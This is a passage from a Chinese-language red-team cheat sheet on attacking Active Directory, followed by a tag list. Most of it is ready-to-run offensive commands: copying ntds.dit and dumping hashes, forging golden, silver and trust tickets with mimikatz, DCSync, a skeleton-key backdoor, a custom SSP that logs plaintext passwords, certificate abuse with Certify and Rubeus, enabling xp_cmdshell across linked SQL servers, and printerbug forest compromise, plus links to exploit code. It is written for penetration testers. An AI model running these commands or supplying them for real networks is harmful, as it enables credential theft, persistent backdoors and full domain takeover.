Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
#检查 SeBackupPrivilege 是否已启用
Get-SeBackupPrivilege
#如果没有,我们启用它
Set-SeBackupPrivilege
#使用 dll 的功能将 ntds.dit 数据库文件从卷影副本复制到我们选择的位置
Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\\ntds.dit -Overwrite
#转储 SYSTEM 配置单元
reg save HKLM\SYSTEM c:\temp\system.hive
3. 使用 impacket 的 smbclient.py 或其他工具将 ntds.dit 和 SYSTEM 配置单元复制到我们的本地机器。
4. 使用 impacket 的 secretsdump.py 转储哈希。
5. 使用 psexec 或您选择的其他工具进行 PTH 并获得域管理员访问权限。
### 滥用 Exchange
- [滥用 Exchange 距离 DA 仅一步之遥](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/)
- [CVE-2020-0688](https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys)
- [PrivExchange](https://github.com/dirkjanm/PrivExchange) 通过滥用 Exchange 用您的权限交换域管理员权限
### 武器化打印机漏洞
- [从打印机服务器漏洞到域管理员](https://www.dionach.com/blog/printer-server-bug-to-domain-administrator/)
- [NetNTLMtoSilverTicket](https://github.com/NotMedic/NetNTLMtoSilverTicket)
### 滥用 ACLs
- [在 Active Directory 中利用 ACL 提升权限](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
- [aclpwn.py](https://github.com/fox-it/aclpwn.py)
- [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn)
### 利用 mitm6 滥用 IPv6
- [通过 IPv6 入侵 IPv4 网络](https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/)
- [mitm6](https://github.com/fox-it/mitm6)
### SID 历史记录滥用
_这是什么?:如果我们成功入侵林的子域并且未启用 [SID 过滤](https://www.itprotoday.com/windows-8/sid-filtering)(大多数情况下未启用),我们可以滥用它来提权到林的根域的域管理员。这是可能的,因为 kerberos TGT 票据上的 [SID 历史记录](https://www.itprotoday.com/windows-8/sid-history)字段定义了“额外”的安全组和权限。_
利用示例:
```
#Get the SID of the Current Domain using PowerView
Get-DomainSID -Domain current.root.domain.local
#Get the SID of the Root Domain using PowerView
Get-DomainSID -Domain root.domain.local
#Create the Enteprise Admins SID
Format: RootDomainSID-519
#Forge "Extra" Golden Ticket using mimikatz
kerberos::golden /user:Administrator /domain:current.root.domain.local /sid: /krbtgt: /sids: /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi
#Inject the ticket into memory
kerberos::ptt \path\to\ticket\golden.kirbi
#List the DC of the Root Domain
dir \\dc.root.domain.local\C$
#Or DCsync and dump the hashes using mimikatz
lsadump::dcsync /domain:root.domain.local /all
```
详细文章:
- [Kerberos 黄金票据现在更加黄金了](https://adsecurity.org/?p=1640)
- [攻击域信任指南](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
### 利用 SharePoint
- [CVE-2019-0604](https://medium.com/@gorkemkaradeniz/sharepoint-cve-2019-0604-rce-exploitation-ab3056623b7d) RCE 利用 \
[PoC](https://github.com/k8gege/CVE-2019-0604)
- [CVE-2019-1257](https://www.zerodayinitiative.com/blog/2019/9/18/cve-2019-1257-code-execution-on-microsoft-sharepoint-through-bdc-deserialization) 通过 BDC 反序列化执行代码
- [CVE-2020-0932](https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters) 使用类型转换器进行 RCE \
[PoC](https://github.com/thezdi/PoC/tree/master/CVE-2020-0932)
### Zerologon
- [Zerologon: 未经身份验证的域控制器入侵](https://www.secura.com/whitepapers/zerologon-whitepaper):漏洞白皮书。
- [SharpZeroLogon](https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon):Zerologon 漏洞的 C# 实现。
- [Invoke-ZeroLogon](https://github.com/BC-SECURITY/Invoke-ZeroLogon):Zerologon 漏洞的 PowerShell 实现。
- [Zer0Dump](https://github.com/bb00/zer0dump):使用 impacket 库的 Zerologon 漏洞 Python 实现。
### PrintNightmare
- [CVE-2021-34527](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34527):漏洞详情。
- [PrintNightmare 的 Impacket 实现](https://github.com/cube0x0/CVE-2021-1675):使用 impacket 库的可靠 PrintNightmare PoC。
- [CVE-2021-1675 的 C# 实现](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare):用 C# 编写的可靠 PrintNightmare PoC。
### Active Directory 证书服务
**使用以下工具检查易受攻击的证书模板:** [Certify](https://github.com/GhostPack/Certify)
_注意:Certify 也可以使用 Cobalt Strike 的 `execute-assembly` 命令执行_
```
.\Certify.exe find /vulnerable /quiet
```
确保 msPKI-Certificates-Name-Flag 值设置为 "ENROLLEE_SUPPLIES_SUBJECT",并且注册权限允许 Domain/Authenticated Users。此外,检查 pkiextendedkeyusage 参数是否包含 "Client Authentication" 值,以及 "Authorized Signatures Required" 参数是否设置为 0。
此漏洞之所以有效,是因为这些设置启用了服务器/客户端身份验证,这意味着攻击者可以指定域管理员 ("DA") 的 UPN,并使用捕获的证书与 Rubeus 伪造身份验证。
_注意:如果域管理员位于 Protected Users 组中,该漏洞可能无法按预期工作。在选择目标 DA 之前请进行检查。_
使用 Certify 请求 DA 的账户证书
```
.\Certify.exe request /template: /quiet /ca:"" /domain: /path:CN=Configuration,DC=,DC=com /altname: /machine
```
这应该返回关联 DA 账户的有效证书。
导出的 `cert.pem` 和 `cert.key` 文件必须合并为一个 `cert.pem` 文件,在 `END RSA PRIVATE KEY` 和 `BEGIN CERTIFICATE` 之间留有一个空格。
_`cert.pem` 示例:_
```
-----BEGIN RSA PRIVATE KEY-----
BIIEogIBAAk15x0ID[...]
[...]
[...]
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
BIIEogIBOmgAwIbSe[...]
[...]
[...]
-----END CERTIFICATE-----
```
#利用 `openssl` 转换为 PKCS #12 格式
可以使用 `openssl` 命令将证书文件转换为 PKCS #12 格式(可能需要输入导出密码,可以是您喜欢的任何内容)。
```
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```
一旦导出了 `cert.pfx` 文件,将其上传到受感染的主机(可以通过多种方式完成,例如使用 Powershell、SMB、`certutil.exe`、Cobalt Strike 的上传功能等)。
将 `cert.pfx` 文件上传到受感染的主机后,可以使用 [Rubeus](https://github.com/GhostPack/Rubeus) 为 DA 账户请求 Kerberos TGT,然后将其导入内存。
```
.\Rubeus.exe asktht /user: /domain: /dc: /certificate: /nowrap /ptt
```
这应该会导致成功导入票据,然后使攻击者能够在 DA 用户上下文下执行各种恶意活动,例如执行 DCSync 攻击。
### 无 PAC
- [sAMAccountname 欺骗](https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing) CVE-2021-42278 和 CVE-2021-42287 的利用
- [CVE-2021-42287/CVE-2021-42278 的武器化](https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html) CVE-2021-42278 和 CVE-2021-42287 的利用
- [noPAC](https://github.com/cube0x0/noPac) 利用 CVE-2021-42278 和 CVE-2021-42287 的 C# 工具
- [sam-the-admin](https://github.com/WazeHell/sam-the-admin) 利用 CVE-2021-42278 和 CVE-2021-42287 的 Python 自动化工具
- [noPac](https://github.com/Ridter/noPac) "sam-the-admin" 工具的演进版
## 域持久化
### 黄金票据攻击
```
#Execute mimikatz on DC as DA to grab krbtgt hash:
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName
#On any machine:
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /sid: /krbtgt:
id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
```
### DCsync 攻击
```
#DCsync using mimikatz (You need DA rights or DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges):
Invoke-Mimikatz -Command '"lsadump::dcsync /user:\"'
#DCsync using secretsdump.py from impacket with NTLM authentication
secretsdump.py /:@ -just-dc-ntlm
#DCsync using secretsdump.py from impacket with Kerberos Authentication
secretsdump.py -no-pass -k /@ -just-dc-ntlm
```
**提示:** \
/ptt -> 将票据注入当前运行会话 \
/ticket -> 将票据保存在系统中以备后用
### 白银票据攻击
```
Invoke-Mimikatz -Command '"kerberos::golden /domain: /sid: /target: /service:
/rc4: /user: /ptt"'
```
[SPN 列表](https://adsecurity.org/?page_id=183)
### 万能钥匙攻击
```
#Exploitation Command runned as DA:
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName
#Access using the password "mimikatz"
Enter-PSSession -ComputerName -Credential \Administrator
```
### DSRM 滥用
_这是什么?:每个 DC 都有一个本地管理员账户,该账户拥有 DSRM 密码,即 SafeBackupPassword。我们可以获取它,然后 pth 其 NTLM 哈希以获得对 DC 的本地管理员访问权限!_
```
#Dump DSRM password (needs DA privs):
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName
#This is a local account, so we can PTH and authenticate!
#BUT we need to alter the behaviour of the DSRM account before pth:
#Connect on DC:
Enter-PSSession -ComputerName
#Alter the Logon behaviour on registry:
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose
#If the property already exists:
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -Verbose
```
然后只需 PTH 即可获得 DC 的本地管理员访问权限!
### 自定义 SSP
_这是什么?:我们可以通过投放自定义 dll(例如 mimikatz 的 mimilib.dll)来设置我们自己的 SSP,它将监视并捕获登录用户的明文密码!_
从 powershell:
```
#Get current Security Package:
$packages = Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' | select -ExpandProperty 'Security Packages'
#Append mimilib:
$packages += "mimilib"
#Change the new packages name
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' -Value $packages
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name 'Security Packages' -Value $packages
#ALTERNATIVE:
Invoke-Mimikatz -Command '"misc::memssp"'
```
现在 DC 上的所有登录都会记录到 -> C:\Windows\System32\kiwissp.log
## 跨林攻击
### 信任票据
_这是什么?:如果我们在与另一个林具有双向信任关系的域上拥有域管理员权限,我们可以获取信任密钥并伪造我们自己的跨域 TGT。_
:warning: 我们拥有的访问权限将仅限于我们的 DA 账户在另一个林上配置的权限!
- 使用 Mimikatz:
#转储信任密钥
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
#使用黄金票据攻击伪造跨域 TGT
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /sid:
/rc4: /service:krbtgt /target: /ticket:
"'
:exclamation: 票据 -> .kirbi 格式
然后使用跨域 TGT 向外部林请求任何服务的 TGS 并访问资源!
- 使用 Rubeus:
.\Rubeus.exe asktgs /ticket: /service:"Service's SPN" /ptt
### 滥用 MSSQL 服务器
- 枚举 MSSQL 实例: `Get-SQLInstanceDomain`
- 检查当前用户的可访问性:
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
- 收集有关实例的信息: `Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose`
- 滥用 SQL 数据库链接: \
_这是什么?:数据库链接允许 SQL Server 访问其他资源,如其他 SQL Server。如果我们有两个链接的 SQL Server,我们可以在其中执行存储过程。数据库链接也适用于跨林信任!_
检查现有的数据库链接:
```
#Check for existing Database Links:
#PowerUpSQL:
Get-SQLServerLink -Instance -Verbose
#MSSQL Query:
select * from master..sysservers
```
然后我们可以使用查询从链接的数据库枚举其他链接:
```
#Manualy:
select * from openquery("LinkedDatabase", 'select * from master..sysservers')
#PowerUpSQL (Will Enum every link across Forests and Child Domain of the Forests):
Get-SQLServerLinkCrawl -Instance -Verbose
# 启用 RPC Out(执行 XP_CMDSHELL 所需)
EXEC sp_serveroption 'sqllinked-hostname', 'rpc', 'true';
EXEC sp_serveroption 'sqllinked-hostname', 'rpc out', 'true';
select * from openquery("SQL03", 'EXEC sp_serveroption ''SQL03'',''rpc'',''true'';');
select * from openquery("SQL03", 'EXEC sp_serveroption ''SQL03'',''rpc out'',''true'';');
#Then we can execute command on the machine's were the SQL Service runs using xp_cmdshell
#Or if it is disabled enable it:
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "SPN"
```
查询执行:
```
Get-SQLServerLinkCrawl -Instace -Query "exec master..xp_cmdshell 'whoami'"
```
### 打破林信任
_这是什么?: \
TL;DR \
如果我们与外部林有双向信任,并且我们成功入侵了本地林中启用了非约束委派的机器(DC 默认有此功能),我们可以使用 printerbug 强制外部林根域的 DC 向我们进行身份验证。然后我们可以捕获它的 TGT,将其注入内存并 DCsync 转储其哈希,从而让我们对整个林拥有完全访问权限。_
我们将使用的工具:
- [Rubeus](https://github.com/GhostPack/Rubeus)
- [SpoolSample](https://github.com/leechristensen/SpoolSample)
- [Mimikatz](https://github.com/gentilkiwi/mimikatz)
利用示例:
```
#Start monitoring for TGTs with rubeus:
Rubeus.exe monitor /interval:5 /filteruser:target-dc
#Execute the printerbug to trigger the force authentication of the target DC to our machine
SpoolSample.exe target-dc.external.forest.local dc.compromised.domain.local
#Get the base64 captured TGT from Rubeus and inject it into memory:
Rubeus.exe ptt /ticket:
#Dump the hashes of the target domain using mimikatz:
lsadump::dcsync /domain:external.forest.local /all
```
详细文章:
- [非安全边界:打破林信任](https://blog.harmj0y.net/redteaming/not-a-security-boundary-breaking-forest-trusts/)
- [Active Directory 中的狩猎:非约束委派与林信任](https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1)
[Powerview Wiki](https://powersploit.readthedocs.io/en/latest/) - **获取当前域:** `Get-Domain` - **枚举其他域:** `Get-Domain -Domain
标签:Active Directory, AI合规, AS-REP Roasting, BloodHound, Conpot, HTTP, Kerberoasting, Kerberos攻击, Mimikatz, Modbus, PE 加载器, Plaso, PowerView, RuleLab, Terraform 安全, Web报告查看器, Windows安全, 企业安全, 协议分析, 域枚举, 域渗透, 备忘录, 密码喷洒, 提权, 攻击向量, 数据展示, 权限提升, 模拟器, 横向移动, 电子数据取证, 红队, 编程规范, 网络安全, 网络资产管理, 速查表, 防御加固, 隐私保护